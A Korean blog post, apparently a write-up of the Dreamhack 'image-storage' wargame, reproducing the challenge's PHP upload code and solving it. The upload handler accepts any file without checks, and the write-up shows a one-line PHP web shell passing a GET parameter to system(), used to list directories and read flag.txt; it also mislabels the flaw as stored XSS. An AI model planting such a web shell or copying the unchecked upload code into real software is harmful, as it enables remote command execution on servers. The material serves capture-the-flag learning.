반응형
https://dreamhack.io/wargame/challenges/38/questions
index.php
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Image Storage</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/>
<div class="container">
<h2>Upload and Share Image !</h2>
</div>
</body>
</html>
list.php
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Image Storage</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/><br/>
<div class="container"><ul>
<?php
$directory = './uploads/';
$scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
foreach ($scanned_directory as $key => $value) {
echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
}
?>
</ul></div>
</body>
</html>
upload.php
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES)) {
$directory = './uploads/';
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
if (file_exists($directory . $name)) {
echo $name . " already exists. ";
}else {
if(move_uploaded_file($tmp_name, $directory . $name)){
echo "Stored in: " . $directory . $name;
}
}
}
}else {
echo "Error !";
}
die();
}
?>
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Image Storage</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/><br/>
<div class="container">
<form enctype='multipart/form-data' method="POST">
<div class="form-group">
<label for="InputFile">파일 업로드</label>
<input type="file" id="InputFile" name="file">
</div>
<input type="submit" class="btn btn-default" value="Upload">
</form>
</div>
</body>
</html>
upload에서 업로드하면
저장 경로가 나오고 이를 통해 Stored XSS 공격이 가능하다.
php 서버이므로 처음에 단순하게
<?php
include /flag.txt;
?>
파일을 만들어 업로드 했지만 500 error가 발생하였다.
따라서 웹쉘을 통해 경로를 직접 탐색하며 관찰하기로 한다.
간단한 php 웹쉘
<?=
include system($_GET['cmd']);
?>
ls를 통해 탐색하니 파일명들이 모두 출력됨.
cd / ; ls 를 통해 / 경로를 탐색하니 flag.txt가 존재하였다.
cat flag.txt를 붙여서 보니 코드가 적혀있음.
반응형
'Security' 카테고리의 다른 글
[wargame] devtools-sources (0) | 2021.10.04 |
---|---|
[Webhacking] Misconfiguration (0) | 2021.10.01 |
[Webhacking] Javascript (0) | 2021.09.30 |
[wargame] php-1 (0) | 2021.09.28 |
[wargame] Tomcat Manager (0) | 2021.09.27 |